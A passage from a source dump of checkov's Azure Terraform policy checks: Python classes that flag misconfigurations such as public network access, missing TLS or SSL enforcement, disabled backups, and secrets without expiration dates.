server disables public network access" id = "CKV_AZURE_68" supported_resources = ['azurerm_postgresql_server'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self): return 'public_network_access_enabled' def get_expected_value(self): return False check = PostgreSQLServerHasPublicAccessDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/PostgreSQLServerSSLEnforcementEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PostgreSQLServerSSLEnforcementEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server" id = "CKV_AZURE_29" supported_resources = ['azurerm_postgresql_server'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'ssl_enforcement_enabled' check = PostgreSQLServerSSLEnforcementEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/PostgresSQLTreatDetectionEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PostgresSQLTreatDetectionEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that PostgreSQL server enables Threat detection policy" id = "CKV_AZURE_128" supported_resources = ['azurerm_postgresql_server'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "threat_detection_policy/[0]/enabled" check = PostgresSQLTreatDetectionEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/PostgressSQLGeoBackupEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PostgressSQLGeoBackupEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that PostgreSQL server enables geo-redundant backups" id = "CKV_AZURE_102" supported_resources = ['azurerm_postgresql_server'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'geo_redundant_backup_enabled' check = PostgressSQLGeoBackupEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/PubsubSKUSLA.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class PubsubSKUSLA(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Web PubSub uses a SKU with an SLA" id = "CKV_AZURE_175" supported_resources = ("azurerm_web_pubsub",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "sku" def get_forbidden_values(self) -> list[Any]: return ["Free_F1"] check = PubsubSKUSLA() ================================================ FILE: checkov/terraform/checks/resource/azure/PubsubSpecifyIdentity.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class PubsubSpecifyIdentity(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Web PubSub uses managed identities to access Azure resources" id = "CKV_AZURE_176" supported_resources = ("azurerm_web_pubsub",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "identity/[0]/type" def get_expected_value(self) -> Any: return ANY_VALUE check = PubsubSpecifyIdentity() ================================================ FILE: checkov/terraform/checks/resource/azure/RedisCacheEnableNonSSLPort.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class RedisCacheEnableNonSSLPort(BaseResourceValueCheck): def __init__(self): name = "Ensure that only SSL are enabled for Cache for Redis" id = "CKV_AZURE_91" supported_resources = ['azurerm_redis_cache'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return "enable_non_ssl_port" def get_expected_value(self): return False check = RedisCacheEnableNonSSLPort() ================================================ FILE: checkov/terraform/checks/resource/azure/RedisCacheMinTLSVersion.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class RedisCacheMinTLSVersion(BaseResourceValueCheck): def __init__(self): name = "Ensure Redis Cache is using the latest version of TLS encryption" id = "CKV_AZURE_148" supported_resources = ['azurerm_redis_cache'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self): return "minimum_tls_version" def get_expected_value(self): return '1.2' check = RedisCacheMinTLSVersion() ================================================ FILE: checkov/terraform/checks/resource/azure/RedisCachePublicNetworkAccessEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class RedisCachePublicNetworkAccessEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that Azure Cache for Redis disables public network access" id = "CKV_AZURE_89" supported_resources = ('azurerm_redis_cache',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'public_network_access_enabled' def get_expected_value(self): return False check = RedisCachePublicNetworkAccessEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/RedisCacheStandardReplicationEnabled.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class RedisCacheStandardReplicationEnabled(BaseResourceValueCheck): def __init__(self) -> None: """ With Standard Replication, Azure Cache for Redis has a high availability architecture that ensures your managed instance is functioning, even when outages affect the underlying virtual machines (VMs). Whether the outage is planned or unplanned outages, Azure Cache for Redis delivers greater percentage availability rates than what's attainable by hosting Redis on a single VM. An Azure Cache for Redis in the applicable tiers runs on a pair of Redis servers by default. The two servers are hosted on dedicated VMs. Open-source Redis allows only one server to handle data write requests. """ name = "Standard Replication should be enabled" id = "CKV_AZURE_230" supported_resources = ("azurerm_redis_cache",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "sku_name" def get_expected_values(self) -> list[Any]: return ["Standard", "Premium"] check = RedisCacheStandardReplicationEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/SQLDatabaseLedgerEnabled.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SQLDatabaseLedgerEnabled(BaseResourceValueCheck): def __init__(self) -> None: """ Ledger helps protect data from any attacker or high-privileged user, including database administrators (DBAs), system administrators, and cloud administrators. As with a traditional ledger, the feature preserves historical data. If a row is updated in the database, its previous value is maintained and protected in a history table. Ledger provides a chronicle of all changes made to the database over time. Ledger and the historical data are managed transparently, offering protection without any application changes. The feature maintains historical data in a relational form to support SQL queries for auditing, forensics, and other purposes. It provides guarantees of cryptographic data integrity while maintaining the power, flexibility, and performance of the SQL database. Note that: - Ledger needs to be enabled at the deployment of the database and can't be removed once enabled - Ledger may come with performance impact, which means that it is advise to closely monitor the database performance in order to ensure that the database meets the performance objectives - Ledger comes with an additional cost, due to the data being stored """ name = "Ensure that the Ledger feature is enabled on database that " name += "requires cryptographic proof and nonrepudiation of data integrity" id = "CKV_AZURE_224" supported_resources = ("azurerm_mssql_database",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "ledger_enabled" check = SQLDatabaseLedgerEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/SQLDatabaseZoneRedundant.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SQLDatabaseZoneRedundant(BaseResourceValueCheck): def __init__(self) -> None: """ This is a best practise which helps to: - Improved High Availability: Zone redundancy ensures that your database is replicated across Availability Zones within an Azure region. If one Availability Zone experiences an outage, your database continues to operate from the other zones, minimizing downtime. - Reduced Maintenance Downtime: Zone-redundant configurations often require less planned maintenance downtime because updates and patches can be applied to one zone at a time while the other zones continue to serve traffic. - Improved Scalability: Zone-redundant configurations are designed to scale with your workload. You can take advantage of features like Hyperscale to dynamically adjust resources based on your database's performance needs. - Improved SLA: Azure SQL Database zone-redundant configurations typically offer a higher service-level agreement (SLA) for availability compared to non-zone-redundant configurations. However, it's critical to note that: Note that: - Zone-redundant availability is available to databases in the General Purpose, Premium, Business Critical and Hyperscale service tiers of the vCore purchasing model, and not the Basic and Standard service tiers of the DTU-based purchasing model. - This may not be required for: - Databases that supports applications which doesn't a high maturity in terms of "High Availability" - Databases that are very sensitive to network latency that may increase the transaction commit time, and thus impact the performance of some OLTP workloads. """ name = "Ensure the Azure SQL Database Namespace is zone redundant" id = "CKV_AZURE_229" supported_resources = ("azurerm_mssql_database",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "zone_redundant" check = SQLDatabaseZoneRedundant() ================================================ FILE: checkov/terraform/checks/resource/azure/SQLServerEmailAlertsEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class SQLServerEmailAlertsEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that 'Send Alerts To' is enabled for MSSQL servers" id = "CKV_AZURE_26" supported_resources = ['azurerm_mssql_server_security_alert_policy'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'email_addresses' def get_expected_value(self): return ANY_VALUE check = SQLServerEmailAlertsEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/SQLServerEmailAlertsToAdminsEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SQLServerEmailAlertsToAdminsEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers" id = "CKV_AZURE_27" supported_resources = ['azurerm_mssql_server_security_alert_policy'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'email_account_admins' check = SQLServerEmailAlertsToAdminsEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck import re PORT_RANGE = re.compile(r'\d+-\d+') class SQLServerNoPublicAccess(BaseResourceCheck): def __init__(self): name = "Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)" id = "CKV_AZURE_11" supported_resources = ( 'azurerm_mariadb_firewall_rule', 'azurerm_sql_firewall_rule', 'azurerm_postgresql_firewall_rule', 'azurerm_mysql_firewall_rule', 'azurerm_mysql_flexible_server_firewall_rule', 'azurerm_mssql_firewall_rule', ) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: self.evaluated_keys = ['start_ip_address'] if 'end_ip_address' in conf: self.evaluated_keys.append('end_ip_address') if ('start_ip_address' in conf and conf['start_ip_address'][0] in ('0.0.0.0', '0.0.0.0/0') and # nosec 'end_ip_address' in conf and conf['end_ip_address'][0] == '255.255.255.255'): return CheckResult.FAILED return CheckResult.PASSED check = SQLServerNoPublicAccess() ================================================ FILE: checkov/terraform/checks/resource/azure/SQLServerPublicAccessDisabled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SQLServerHasPublicAccessDisabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that SQL server disables public network access" id = "CKV_AZURE_113" supported_resources = ['azurerm_mssql_server'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self): return 'public_network_access_enabled' def get_expected_value(self): return False check = SQLServerHasPublicAccessDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/SQLServerThreatDetectionTypes.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck from typing import List class SQLServerThreatDetectionTypes(BaseResourceCheck): def __init__(self): name = "Ensure that 'Threat Detection types' is set to 'All'" id = "CKV_AZURE_25" supported_resources = ['azurerm_mssql_server_security_alert_policy'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'disabled_alerts' in conf and any(conf['disabled_alerts'][0]): return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['disabled_alerts'] check = SQLServerThreatDetectionTypes() ================================================ FILE: checkov/terraform/checks/resource/azure/SecretContentType.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class SecretContentType(BaseResourceValueCheck): def __init__(self): name = "Ensure that key vault secrets have \"content_type\" set" id = "CKV_AZURE_114" supported_resources = ['azurerm_key_vault_secret'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'content_type' def get_expected_value(self): return ANY_VALUE check = SecretContentType() ================================================ FILE: checkov/terraform/checks/resource/azure/SecretExpirationDate.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class SecretExpirationDate(BaseResourceValueCheck): def __init__(self): name = "Ensure that the expiration date is set on all secrets" id = "CKV_AZURE_41" supported_resources = ['azurerm_key_vault_secret'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'expiration_date' def get_expected_value(self): return ANY_VALUE check = SecretExpirationDate() ================================================ FILE: checkov/terraform/checks/resource/azure/SecurityCenterContactEmailAlert.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SecurityCenterContactPhone(BaseResourceValueCheck): def __init__(self): name = "Ensure that 'Send email notification for high severity alerts' is set to 'On'" id = "CKV_AZURE_21" supported_resources = ['azurerm_security_center_contact'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'alert_notifications' check = SecurityCenterContactPhone() ================================================ FILE: checkov/terraform/checks/resource/azure/SecurityCenterContactEmailAlertAdmins.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SecurityCenterEmailAlertAdmins(BaseResourceValueCheck): def __init__(self): name = "Ensure that 'Send email notification for high severity alerts' is set to 'On'" id = "CKV_AZURE_22" supported_resources = ['azurerm_security_center_contact'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'alerts_to_admins' check = SecurityCenterEmailAlertAdmins() ================================================ FILE: checkov/terraform/checks/resource/azure/SecurityCenterContactEmails.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class SecurityCenterContactEmails(BaseResourceValueCheck): def __init__(self): name = "Ensure that 'Security contact emails' is set" id = "CKV_AZURE_131" supported_resources = ['azurerm_security_center_contact'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "email" def get_expected_value(self): return ANY_VALUE check = SecurityCenterContactEmails() ================================================ FILE: checkov/terraform/checks/resource/azure/SecurityCenterContactPhone.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class SecurityCenterContactPhone(BaseResourceValueCheck): def __init__(self): name = "Ensure that security contact 'Phone number' is set" id = "CKV_AZURE_20" supported_resources = ['azurerm_security_center_contact'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'phone' def get_expected_value(self): return ANY_VALUE check = SecurityCenterContactPhone() ================================================ FILE: checkov/terraform/checks/resource/azure/SecurityCenterStandardPricing.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SecurityCenterStandardPricing(BaseResourceValueCheck): def __init__(self): name = "Ensure that standard pricing tier is selected" id = "CKV_AZURE_19" supported_resources = ['azurerm_security_center_subscription_pricing'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'tier' def get_expected_value(self): return 'Standard' check = SecurityCenterStandardPricing() ================================================ FILE: checkov/terraform/checks/resource/azure/SignalRSKUSLA.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class SignalRSJUSLA(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure that SignalR uses a Paid Sku for its SLA" id = "CKV_AZURE_196" supported_resources = ("azurerm_signalr_service",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "sku/[0]/name" def get_forbidden_values(self) -> list[Any]: return ["Free_F1"] check = SignalRSJUSLA() ================================================ FILE: checkov/terraform/checks/resource/azure/SpringCloudAPIPortalHTTPSOnly.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SpringCloudAPIPortalHTTPSOnly(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensures Spring Cloud API Portal is enabled on for HTTPS" id = "CKV_AZURE_161" supported_resources = ("azurerm_spring_cloud_api_portal",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "https_only_enabled" check = SpringCloudAPIPortalHTTPSOnly() ================================================ FILE: checkov/terraform/checks/resource/azure/SpringCloudAPIPortalPublicAccessIsDisabled.py ================================================ from typing import List, Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class SpringCloudAPIPortalPublicAccessIsDisabled(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensures Spring Cloud API Portal Public Access Is Disabled" id = "CKV_AZURE_162" supported_resources = ['azurerm_spring_cloud_api_portal'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "public_network_access_enabled" def get_forbidden_values(self) -> List[Any]: return [True] check = SpringCloudAPIPortalPublicAccessIsDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class StorageAccountAzureServicesAccessEnabled(BaseResourceCheck): def __init__(self): name = "Ensure 'Trusted Microsoft Services' is enabled for Storage Account access" id = "CKV_AZURE_36" supported_resources = ['azurerm_storage_account', 'azurerm_storage_account_network_rules'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): network_conf = [conf] evaluated_key_prefix = '' if 'network_rules' in conf: network_conf = conf['network_rules'] self.evaluated_keys = ['network_rules'] evaluated_key_prefix = 'network_rules/[0]/' if 'default_action' in network_conf[0]: # A required field in network rules, hence if dont exist there are no network rules and Azure services # have access --> Pass if network_conf[0]['default_action'][0] == 'Allow': self.evaluated_keys = [f'{evaluated_key_prefix}default_action'] return CheckResult.PASSED elif network_conf[0].get('bypass'): self.evaluated_keys = [f'{evaluated_key_prefix}bypass'] if 'AzureServices' in network_conf[0]['bypass'][0]: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.PASSED check = StorageAccountAzureServicesAccessEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class StorageAccountDefaultNetworkAccessDeny(BaseResourceCheck): def __init__(self): name = "Ensure default network access rule for Storage Accounts is set to deny" id = "CKV_AZURE_35" supported_resources = ['azurerm_storage_account', 'azurerm_storage_account_network_rules'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Ensures a storage account is not widely accessible by default, using the default action in network rules configuration. Network Rules can be defined either directly on the azurerm_storage_account resource, or using the azurerm_storage_account_network_rules resource. If the latter is used, the check is skipped for the azurerm_storage_account resource (which would return as failed). :param default_action: :return: Check Result """ network_conf = [conf] evaluated_key_prefix = '' if 'network_rules' in conf: network_conf = conf['network_rules'] self.evaluated_keys = ['network_rules'] evaluated_key_prefix = 'network_rules/[0]/' if 'default_action' in network_conf[0]: self.evaluated_keys = [f'{evaluated_key_prefix}default_action'] if network_conf[0]['default_action'][0] == 'Deny': return CheckResult.PASSED return CheckResult.FAILED # missing block is valid for storage accounts but not azurerm_storage_account_network_rules return CheckResult.UNKNOWN check = StorageAccountDefaultNetworkAccessDeny() ================================================ FILE: checkov/terraform/checks/resource/azure/StorageAccountDisablePublicAccess.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class StorageAccountDisablePublicAccess(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Storage accounts disallow public access" id = "CKV_AZURE_59" supported_resources = ("azurerm_storage_account",) categories = (CheckCategories.NETWORKING,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "public_network_access_enabled" def get_expected_values(self) -> list[Any]: return [False] check = StorageAccountDisablePublicAccess() ================================================ FILE: checkov/terraform/checks/resource/azure/StorageAccountLoggingQueueServiceEnabled.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class StorageAccountLoggingQueueServiceEnabled(BaseResourceCheck): def __init__(self): name = "Ensure Storage logging is enabled for Queue service for read, write and delete requests" id = "CKV_AZURE_33" supported_resources = ['azurerm_storage_account'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): self.evaluated_keys = ['account_kind'] if 'account_kind' in conf and (conf['account_kind'][0] != 'Storage' and conf['account_kind'][0] != 'StorageV2'): # queue_properties block doesn't apply for other account kind return CheckResult.PASSED if 'queue_properties' in conf and 'logging' in conf['queue_properties'][0]: logging = conf['queue_properties'][0]['logging'][0] logging_evaluated_key = 'queue_properties/[0]/logging/[0]' self.evaluated_keys = [logging_evaluated_key] delete_value = logging.get('delete', [False])[0] write_value = logging.get('write', [False])[0] read_value = logging.get('read', [False])[0] if delete_value and write_value and read_value: self.evaluated_keys = [f'{logging_evaluated_key}/delete', f'{logging_evaluated_key}/write', f'{logging_evaluated_key}/read'] return CheckResult.PASSED return CheckResult.FAILED check = StorageAccountLoggingQueueServiceEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/StorageAccountMinimumTlsVersion.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class StorageAccountMinimumTlsVersion(BaseResourceCheck): """ Looks for min_tls_version configuration at azurerm_storage_account to be set to TLS1_2 https://www.terraform.io/docs/providers/azurerm/r/storage_account.html#min_tls_version :param conf: azurerm_storage_account configuration :return: """ def __init__(self): name = "Ensure Storage Account is using the latest version of TLS encryption" id = "CKV_AZURE_44" supported_resources = ['azurerm_storage_account'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'min_tls_version' in conf and conf['min_tls_version'][0] in ['TLS1_2', 'TLS1_3']: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['min_tls_version'] check = StorageAccountMinimumTlsVersion() ================================================ FILE: checkov/terraform/checks/resource/azure/StorageAccountName.py ================================================ import re from typing import List, Dict, Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories STO_NAME_REGEX = re.compile(r"^[a-z0-9]{3,24}$") VARIABLE_REFS = ("local.", "module.", "var.", "random_string.", "random_id.", "random_integer.", "random_pet.", "azurecaf_name", "each.") class StorageAccountName(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Storage Accounts adhere to the naming rules" id = "CKV_AZURE_43" supported_resources = ["azurerm_storage_account"] categories = [CheckCategories.CONVENTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: """ The Storage Account naming reference: https://docs.microsoft.com/en-us/azure/storage/common/storage-account-overview#naming-storage-accounts :param conf: azurerm_storage_account configuration :return: """ name = conf.get("name") if name: name = str(name[0]) if any(x in name for x in VARIABLE_REFS): # in the case we couldn't evaluate the name, just ignore return CheckResult.UNKNOWN if re.findall(STO_NAME_REGEX, str(conf["name"][0])): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["name"] check = StorageAccountName() ================================================ FILE: checkov/terraform/checks/resource/azure/StorageAccountsTransportEncryption.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class StorageAccountsTransportEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that 'enable_https_traffic_only' is enabled" id = "CKV_AZURE_3" supported_resources = ("azurerm_storage_account",) categories = (CheckCategories.ENCRYPTION,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED, ) def get_inspected_key(self) -> str: return "enable_https_traffic_only" check = StorageAccountsTransportEncryption() ================================================ FILE: checkov/terraform/checks/resource/azure/StorageAccountsUseReplication.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any, List class StorageAccountsUseReplication(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Storage Accounts use replication" id = "CKV_AZURE_206" supported_resources = ("azurerm_storage_account",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "account_replication_type" def get_expected_value(self) -> Any: return "GRS" def get_expected_values(self) -> List[Any]: return ["GRS", "RAGRS", "GZRS", "RAGZRS"] check = StorageAccountsUseReplication() ================================================ FILE: checkov/terraform/checks/resource/azure/StorageBlobRestrictPublicAccess.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class StorageBlobRestrictPublicAccess(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Storage blobs restrict public access" id = "CKV_AZURE_190" supported_resources = ("azurerm_storage_account",) categories = (CheckCategories.NETWORKING,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "allow_nested_items_to_be_public" def get_expected_values(self) -> list[Any]: return [False] check = StorageBlobRestrictPublicAccess() ================================================ FILE: checkov/terraform/checks/resource/azure/StorageBlobServiceContainerPrivateAccess.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class StorageBlobServiceContainerPrivateAccess(BaseResourceValueCheck): def __init__(self): name = "Ensure that 'Public access level' is set to Private for blob containers" id = "CKV_AZURE_34" supported_resources = ['azurerm_storage_container'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return 'container_access_type/[0]' def get_expected_value(self): return 'private' check = StorageBlobServiceContainerPrivateAccess() ================================================ FILE: checkov/terraform/checks/resource/azure/StorageLocalUsers.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class StorageLocalUsers(BaseResourceValueCheck): def __init__(self) -> None: name = "Avoid the use of local users for Azure Storage unless necessary" id = "CKV_AZURE_244" supported_resources = ('azurerm_storage_account',) categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict) -> CheckResult: # If local_user_enabled is explicitly True, return the default check result local_user_enabled = conf.get("local_user_enabled") if local_user_enabled is not None or local_user_enabled: return super().scan_resource_conf(conf) # Else only check if SFTP is enabled, which requires is_hns_enabled to exist and be True hns_enabled = 